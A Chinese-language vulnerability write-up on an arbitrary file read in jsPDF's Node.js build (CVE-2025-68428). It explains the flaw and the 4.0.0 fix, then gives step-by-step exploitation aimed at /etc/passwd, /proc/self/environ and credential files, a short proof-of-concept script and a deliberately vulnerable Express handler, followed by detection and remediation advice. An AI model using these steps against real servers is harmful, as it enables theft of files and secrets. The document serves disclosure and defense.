jsPDF Node.js nodeReadFile 任意文件读取:loadFile/addImage/html/addFont 路径直入 fs(CVE-2025-68428)
web/nodejs · verified
一句话结论
jsPDF 的 Node.js 构建版把 loadFile() 的路径参数直接交给 nodeReadFile(url),后者只做 path.resolve(url) 就调用 fs.readFileSync,没有 ..、绝对路径或白名单限制;loadFile、addImage、html、addFont 都会走到这里,因此 Node 服务只要把请求中的图片/模板/字体路径传给这些方法,攻击者就能读取服务器任意文件并把内容嵌入返回的 PDF,形成可下载的数据泄露。
原理
- 浏览器语义与 Node 语义的错位:jsPDF 原本是浏览器库,浏览器环境下“加载文件”受同源策略与沙箱限制;Node.js 构建版中
nodeReadFile直接require("fs"),url从“受限的网络地址”变成“任意磁盘路径”,同一份代码在服务端获得了本地文件读取能力。 - 脆弱点:
js function nodeReadFile(url, sync, callback) { var fs = require("fs"); var path = require("path"); url = path.resolve(url); // 只把相对路径转成绝对路径 result = fs.readFileSync(url, { encoding: "latin1" }); // 直接读,无白名单 ... }path.resolve会规范化../.,但不会限制结果范围:传入/etc/passwd或../../etc/passwd都解析为一个合法的绝对路径,随后被原样读取。函数没有startsWith/realpath/权限检查。 - 可达方法:
loadFile()是底层入口,loadImageFile直接等于loadFile;addImage()、html()、addFont()内部都会调用loadFile()读取图片、HTML 模板或 TTF 字体文件。因此任一方法的路径参数可控都可触发。 - 数据外带通道:读取结果以 latin1 返回,jsPDF 可把内容写进 PDF(例如作为文本、图片数据或模板内容)。当服务把生成的 PDF 返回给请求者时,本地文件内容就随 PDF 一起被带出;即使接口只返回“生成成功”,也可以通过下载链接或后续查询获取。
- 修复思路(4.0.0):
js if (!process.permission && !this.allowFsRead) { throw new Error("..."); } url = fs.realpathSync(path.resolve(url)); // 解析软链接、归一化 if (process.permission && !process.permission.has("fs.read", url)) throw ...; if (this.allowFsRead) { /* 通配符/精确路径白名单,startsWith(resolved) */ }修复引入两道闸门:Node 原生权限模型process.permission(启动时--permission --allow-fs-read)和库级allowFsRead白名单;先realpathSync再比较,避免用..或软链接绕过。process.permission在进程启动时确定,JS 运行期无法自行提权,因此比纯 JS 黑名单更可靠。 - 为什么是“路径遍历/LFI”而不是 SSRF:读取目标是本地文件系统路径,不是 URL;攻击者通过服务端 API 的路径参数控制
url,再由 PDF 输出通道回显内容。
触发条件
- 使用 jsPDF < 4.0.0 的 Node.js 构建(
require("jspdf/dist/jspdf.node.js")或服务端打包后的等价入口)。 - 业务代码把用户可控值传给
loadFile()、addImage()、html()、addFont()或内部getFileData(),例如doc.addImage(req.body.logoPath, ...)、doc.html(req.body.templatePath, ...)。 - 服务进程对目标文件有读权限,且生成的 PDF 能被攻击者取回(直接响应、对象存储链接、邮件附件等)。
- 目标未升级到 4.0.0,或升级后错误地把
allowFsRead配置为过宽(如/、空字符串)且开启了 Node 权限模型。
利用步骤
- 确认依赖版本:
npm ls jspdf或读取package-lock.json/打包产物,判断是否 < 4.0.0。 - 找可控路径点:接口参数进入
addImage/html/addFont/loadFile的位置,常见字段名logoPath、templatePath、fontPath、image、template。 - 先传一个已知存在且无害的路径(如项目内图片)确认接口正常生成 PDF。
- 传绝对路径或穿越路径读取目标文件:Linux
/etc/passwd、/proc/self/environ;WindowsC:/Windows/win.ini、C:/Users/.../config。 - 下载生成的 PDF,检查文件内容是否被嵌入;若接口只返回文件名,找下载/预览接口取回。
- 读取应用配置、环境变量、密钥文件,评估数据泄露范围。
PoC
最小读取(同步路径):
const { jsPDF } = require("jspdf/dist/jspdf.node.js");
const doc = new jsPDF();
const p = "C:/Windows/win.ini"; // Linux 换成 /etc/passwd
// 直接走底层加载函数
const data = doc.loadFile(p);
console.log("read:", p, "bytes:", data && data.length);
console.log(data && data.toString().slice(0, 300));
服务端场景(示意):
app.post('/generate-invoice', (req, res) => {
const doc = new jsPDF();
doc.addImage(req.body.logoPath, 'PNG', 10, 10, 50, 50); // logoPath 可控 → LFI
const pdf = doc.output('arraybuffer');
res.type('application/pdf').send(Buffer.from(pdf));
});
说明:loadFile 的返回内容可直接打印验证;通过 addImage/html 触发时,文件内容会进入 PDF 渲染流程,最终需从 PDF 中提取。PoC 依据 3.0.4 源码构造,未在本地重新执行;测试时请使用自建环境与无害文件。
变体与关联
- 触发方法变体:
addImage(path, ...)读取图片;html(templatePath)读取 HTML 模板;addFont(path)读取 TTF;doc.internal.getFileData(path)是内部加载入口。路径可控的任一方法都可作为入口。 - 路径变体:绝对路径最直接;相对路径用
../向上跳;Windows 可用C:\、\\server\share(若进程有网络共享权限);Linux 可用/proc/self/environ、/proc/self/cwd/...。 - 版本边界:4.0.0 起默认禁止本地文件读取,除非显式
allowFsRead或 Node--permission --allow-fs-read;升级后要检查旧代码是否设置了过宽的allowFsRead(通配符前缀匹配按path.sep处理,配置/app/uploads*这类前缀仍需谨慎)。 - 组合升级:读取到的配置文件/密钥可用于伪造会话或连接数据库;若服务端另有日志写入、模板渲染、反序列化等原语,LFI 可能进一步升级,但本卡只证明任意文件读取与 PDF 外带。
- 关联:[[web-nodejs-postcss-sourcemappingurl-arbitrary-file-read]](Node.js 库路径参数任意文件读取的另一实例);[[web-nodejs-n8n-form-content-type-confusion-file-read]](Node 服务 filepath 参数无认证文件读取);[[web-generic-file-inclusion-oa-logfiledownload-createfwfromjoa-arbitrary-read]](服务端路径参数直入文件读取的通用形态)。
检测与防御
- 升级:将 jsPDF 升到 >= 4.0.0;用锁文件与依赖扫描(npm audit、SCA)确认没有旧版本残留。CVE-2025-68428 / GHSA-f8cm-6447-x5h2。
- 配置:4.0.0+ 若必须读本地文件,显式设置最小化
allowFsRead(只允许具体文件或限定目录),不要用/、空串或过宽通配;生产环境用 Node--permission并只授予必要目录的fs.read。 - 代码:不要把请求参数直接传给
addImage/html/addFont/loadFile;改为服务端预置的资源 ID/枚举,或先把文件下载到受控目录并校验真实路径位于允许根目录内。 - 检测特征:PDF 生成接口参数含
../、..\、/etc/、C:\、/proc/、WEB-INF;响应 PDF 中出现系统文件片段([fonts]、root:x:等);同一接口短时间内请求多个敏感路径;npm ls jspdf显示 <4.0.0。 - 应急:确认是否被读取过配置/密钥;轮换可能泄露的凭据;限制 PDF 生成接口的返回对象权限;对生成 PDF 的临时文件做访问控制与过期清理。